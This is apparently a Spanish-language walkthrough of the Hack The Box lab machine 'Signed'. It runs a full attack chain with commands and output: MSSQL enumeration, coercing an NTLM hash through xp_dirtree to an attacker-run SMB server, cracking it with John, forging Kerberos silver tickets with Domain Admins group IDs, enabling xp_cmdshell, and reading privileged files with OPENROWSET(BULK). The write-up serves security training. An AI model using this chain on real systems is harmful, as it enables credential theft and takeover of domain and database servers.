Descripción

Signed es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Escenario asumido de brecha con credenciales que lleva a la enumeración del servicio MSSQL
  • Captura y crackeo del hash NTLM de la cuenta de servicio MSSQL para elevar los privilegios
  • Escalada de privilegios mediante la capacidad de crear silver tickets y el uso de la consulta T-SQL OPENROWSET(BULK) para leer archivos privilegiados

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.129.186.204.

$ ping -c 3 10.129.186.204
PING 10.129.186.204 (10.129.186.204) 56(84) bytes of data.
64 bytes from 10.129.186.204: icmp_seq=1 ttl=127 time=46.8 ms
64 bytes from 10.129.186.204: icmp_seq=2 ttl=127 time=46.3 ms
64 bytes from 10.129.186.204: icmp_seq=3 ttl=127 time=47.6 ms

--- 10.129.186.204 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 46.278/46.878/47.605/0.549 ms

La máquina está activa y con el TTL que iguala 127 (128 menos 1 salto), podemos asegurar que es una máquina Windows. Ahora vamos a realizar un escaneo de puertos TCP con Nmap para verificar todos los puertos abiertos.

$ sudo nmap 10.129.186.204 -sS -Pn -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.129.186.204
Host is up (0.047s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT     STATE SERVICE
1433/tcp open  ms-sql-s

Nmap done: 1 IP address (1 host up) scanned in 197.92 seconds

Solo encontramos el puerto 1433 abierto.

Enumeración

Entonces realizamos un escaneo más avanzado, con versión del servicio y scripts.

$ nmap 10.129.186.204 -Pn -sV -sC -p1433 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.129.186.204
Host is up (0.047s latency).

PORT     STATE SERVICE  VERSION
1433/tcp open  ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   10.129.186.204:1433: 
|     Target_Name: SIGNED
|     NetBIOS_Domain_Name: SIGNED
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: SIGNED.HTB
|     DNS_Computer_Name: DC01.SIGNED.HTB
|     DNS_Tree_Name: SIGNED.HTB
|_    Product_Version: 10.0.17763
| ms-sql-info: 
|   10.129.186.204:1433: 
|     Version: 
|       name: Microsoft SQL Server 2022 RTM
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.98 seconds

Solo encontramos el servicio Microsoft SQL Server en ejecución en el servidor. Tenemos las credenciales del usuario scott, Sm230#C5NatH, como parte de un escenario asumido de brecha. Lo verificamos.

$ netexec mssql 10.129.186.204 -u scott -p 'Sm230#C5NatH' --local-auth
MSSQL       10.129.186.204  1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL       10.129.186.204  1433   DC01             [+] DC01\scott:Sm230#C5NatH

La credencial es correcta. Añadimos el host a nuestro archivo local /etc/hosts.

$ echo "10.129.186.204 signed.htb" | sudo tee -a /etc/hosts

Podemos comenzar enumerando el servidor usando la herramienta impacket-mssqlclient.

$ impacket-mssqlclient 'scott:Sm230#C5NatH'@signed.htb     
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232) 
[!] Press help for extra shell commands
SQL (scott  guest@master)> enum_db
name     is_trustworthy_on   
------   -----------------   
master                   0   
tempdb                   0   
model                    0   
msdb                     1   

SQL (scott  guest@master)> enum_logins
name    type_desc   is_disabled   sysadmin   securityadmin   serveradmin   setupadmin   processadmin   diskadmin   dbcreator   bulkadmin   
-----   ---------   -----------   --------   -------------   -----------   ----------   ------------   ---------   ---------   ---------   
sa      SQL_LOGIN             0          1               0             0            0              0           0           0           0   
scott   SQL_LOGIN             0          0               0             0            0              0           0           0           0   

SQL (scott  guest@master)> enum_users
UserName             RoleName   LoginName   DefDBName   DefSchemaName       UserID     SID   
------------------   --------   ---------   ---------   -------------   ----------   -----   
dbo                  db_owner   sa          master      dbo             b'1         '   b'01'   
guest                public     NULL        NULL        guest           b'2         '   b'00'   
INFORMATION_SCHEMA   public     NULL        NULL        NULL            b'3         '    NULL   
sys                  public     NULL        NULL        NULL            b'4         '    NULL   

No encontramos nada de valor en esta salida. Encontramos que el comando xp_dirtree está funcionando, aunque no nos está dando salida, no falla debido a problemas de permisos.

SQL (scott  guest@master)> xp_dirtree /
subdirectory   depth   file   
------------   -----   ----

Explotación

Vamos a crear un servidor SMB con la herramienta impacket-smbserver para intentar capturar hashes NTLM del servidor Microsoft SQL.

$ impacket-smbserver -smb2support share .

Ahora ejecutamos el comando xp_dirtree apuntando a nuestro nuevo servidor SMB creado.

SQL (scott  guest@master)> xp_dirtree \\10.10.14.82\a

Obtenemos el hash para la cuenta de servicio DC01\mssqlsvc de MSSQL.

$ impacket-smbserver -smb2support share .
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.129.186.204,55052)
[*] AUTHENTICATE_MESSAGE (SIGNED\mssqlsvc,DC01)
[*] User DC01\mssqlsvc authenticated successfully
[*] mssqlsvc::SIGNED:aaaaaaaaaaaaaaaa:934ddbca048e69cf10195c12f5d3ef4e:010100000000000000578476713bdc0109562d1a922bae360000000001001000570055007000750051005200490053000300100057005500700075005100520049005300020010006b006300580045006a00630070006b00040010006b006300580045006a00630070006b000700080000578476713bdc01060004000200000008003000300000000000000000000000003000009d3af032076cd6b1a72817613939a9804bd0f5f7702c3d870d54e360f6ed8c4f0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00380032000000000000000000
[*] Closing down connection (10.129.186.204,55052)
[*] Remaining connections []

Crackeamos usando John The Ripper.

$ john --wordlist=/usr/share/wordlists/rockyou.txt hash          
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
purPLE9795!@     (mssqlsvc)     
1g 0:00:00:02 DONE 0.4784g/s 2147Kp/s 2147Kc/s 2147KC/s purtynread..punociudad
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

Encontramos la contraseña para la cuenta de servicio mssqlsvc purPLE9795!@. Ahora, como tenemos acceso a una cuenta de servicio, tenemos la capacidad de forjar silver tickets con parámetros personalizados, lo cual puede llevar a una escalada de privilegios. Primero vamos a abrir una terminal MSSQL para obtener el SID de la cuenta de servicio (y el SID del servidor).

$ impacket-mssqlclient 'mssqlsvc:purPLE9795!@'@signed.htb -windows-auth
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232) 
[!] Press help for extra shell commands
SQL (SIGNED\mssqlsvc  guest@master)> enum_logins
name                                type_desc       is_disabled   sysadmin   securityadmin   serveradmin   setupadmin   processadmin   diskadmin   dbcreator   bulkadmin   
---------------------------------   -------------   -----------   --------   -------------   -----------   ----------   ------------   ---------   ---------   ---------   
sa                                  SQL_LOGIN                 0          1               0             0            0              0           0           0           0   

##MS_PolicyEventProcessingLogin##   SQL_LOGIN                 1          0               0             0            0              0           0           0           0   

##MS_PolicyTsqlExecutionLogin##     SQL_LOGIN                 1          0               0             0            0              0           0           0           0   

SIGNED\IT                           WINDOWS_GROUP             0          1               0             0            0              0           0           0           0

Encontramos que existe un grupo de Windows con permiso sysadminSIGNED\IT. Este permiso nos permitirá ejecutar comandos en la máquina. Obtenemos los SIDs para mssqlvscSIGNED\IT y SIGNED\Domain Admins.

SQL (SIGNED\mssqlsvc  guest@master)> SELECT SUSER_SID('SIGNED\mssqlsvc');
                                                              
-----------------------------------------------------------   
b'0105000000000005150000005b7bb0f398aa2245ad4a1ca44f040000'   

SQL (SIGNED\mssqlsvc  guest@master)> SELECT SUSER_SID('SIGNED\IT');
                                                              
-----------------------------------------------------------   
b'0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000'   

SQL (SIGNED\mssqlsvc  guest@master)> SELECT SUSER_SID('SIGNED\Domain Admins');
                                                              
-----------------------------------------------------------   
b'0105000000000005150000005b7bb0f398aa2245ad4a1ca400020000'

MSSQL devuelve los SIDs en formato binario, necesitamos convertirlos al formato común. Para ello utilizaremos un script en Python, sid_parser.py.

#!/usr/bin/env python3
import sys

def parse_sid(hex_str):
    data = bytes.fromhex(hex_str)
    revision = data[0]
    sub_auth_count = data[1]
    identifier_auth = int.from_bytes(data[2:8], 'big')
    sub_auths = [int.from_bytes(data[8+i*4:12+i*4], 'little') for i in range(sub_auth_count)]
    sid_str = f"S-{revision}-{identifier_auth}-" + '-'.join(str(x) for x in sub_auths)
    return sid_str

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: ./sid_parser.py <SID_hex_without_0x>")
        print("Example: ./sid_parser.py 0105000000000005150000008C9D2C7A0A9B5F01")
        sys.exit(1)

    hex_input = sys.argv[1]
    try:
        print(parse_sid(hex_input))
    except Exception as e:
        print(f"Error parsing SID: {e}")
        sys.exit(1)

Lo usamos.

$ python sid_parser.py 0105000000000005150000005b7bb0f398aa2245ad4a1ca44f040000
S-1-5-21-4088429403-1159899800-2753317549-1103

$ python sid_parser.py 0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000
S-1-5-21-4088429403-1159899800-2753317549-1105

$ python sid_parser.py 0105000000000005150000005b7bb0f398aa2245ad4a1ca400020000
S-1-5-21-4088429403-1159899800-2753317549-512

Obtenemos la parte común del SID del dominio S-1-5-21-4088429403-1159899800-2753317549, el ID del usuario mssqlsvc1103, el ID del grupo IT1105 y el ID del grupo Domain Admins512. Para forjar el ticket de plata necesitamos convertir la contraseña de la cuenta de servicio a un hash NT (RC4). Podemos usar el siguiente comando.

$ printf '%s' 'purPLE9795!@' | iconv -t utf16le | openssl dgst -md4 -binary | xxd -p | tr '[:lower:]' '[:upper:]'
EF699384C3285C54128A3EE1DDB1A0CC

Obtuvimos el hash NT EF699384C3285C54128A3EE1DDB1A0CC. Ahora podemos forjar el ticket para suplantar que somos parte del grupo IT, para obtener la capacidad de ejecutar comandos remotos.

$ impacket-ticketer -nthash EF699384C3285C54128A3EE1DDB1A0CC -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn mssqlsvc/signed.htb:1433 -groups 1105 mssqlsvc
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for signed.htb/mssqlsvc
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in mssqlsvc.ccache

Ahora podemos iniciar sesión utilizando la autenticación Kerberos con el ticket que generamos. Y podemos habilitar la opción enable_xp_cmdshell que nos permitirá ejecutar comandos.

$ KRB5CCNAME=./mssqlsvc.ccache impacket-mssqlclient -k -no-pass signed.htb/mssqlsvc@signed.htb
...
SQL (SIGNED\Administrator  dbo@master)> enable_xp_cmdshell
INFO(DC01): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(DC01): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
...
SQL (SIGNED\Administrator  dbo@master)> xp_cmdshell whoami
output            
---------------   
signed\mssqlsvc   

NULL

Post-Explotación

Ahora podemos ejecutar comandos como el usuario mssqlsvc, pero si forjamos un ticket de Administrator, no podremos ejecutar comandos como administrador, ya que los comandos ejecutados desde la xp_cmdshell se ejecutan en un contexto diferente. En Transact-SQL, existe la función OPENROWSET. La función OPENROWSET lee datos de uno o varios archivos y devuelve el contenido como un conjunto de filas. OPENROWSET(BULK) está diseñado para leer datos de archivos de datos externos.

Para leer archivos privilegiados necesitamos pertenecer a un grupo privilegiado, como Domain Admins. Como tenemos la capacidad de forjar tickets de plata, podemos generar uno nuevo para pertenecer a los grupos IT (1105) y Domain Admins (512). También necesitamos especificar el ID de usuario para el usuario al que se creará el ticket (1103), ya que por defecto se llena con el valor 500.

$ impacket-ticketer -nthash EF699384C3285C54128A3EE1DDB1A0CC -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn mssqlsvc/signed.htb:1433 -user-id 1103 -groups 512,1105 mssqlsvc
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for signed.htb/mssqlsvc
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in mssqlsvc.ccache

Ahora podemos volver a iniciar sesión para leer archivos privilegiados.

$ KRB5CCNAME=./mssqlsvc.ccache impacket-mssqlclient -k -no-pass signed.htb/mssqlsvc@signed.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232) 
[!] Press help for extra shell commands
SQL (SIGNED\mssqlsvc  dbo@master)> SELECT * FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_CLOB) AS Contents;
BulkColumn                                                                                                      
-------------------------------------------------------------------------------------------------------------   
b'; for 16-bit app support\r\n[fonts]\r\n[extensions]\r\n[mci extensions]\r\n[files]\r\n[Mail]\r\nMAPI=1\r\n'

Flags

En este contexto, podemos recuperar las flags user.txt y root.txt.

SQL (SIGNED\mssqlsvc  dbo@master)> SELECT * FROM OPENROWSET(BULK 'C:\Users\mssqlsvc\Desktop\user.txt', SINGLE_CLOB) AS Contents;
BulkColumn                                
---------------------------------------   
b'<REDACTED>\r\n'   

SQL (SIGNED\mssqlsvc  dbo@master)> SELECT * FROM OPENROWSET(BULK 'C:\Users\Administrator\Desktop\root.txt', SINGLE_CLOB) AS Contents;
BulkColumn                                
---------------------------------------   
b'<REDACTED>\r\n'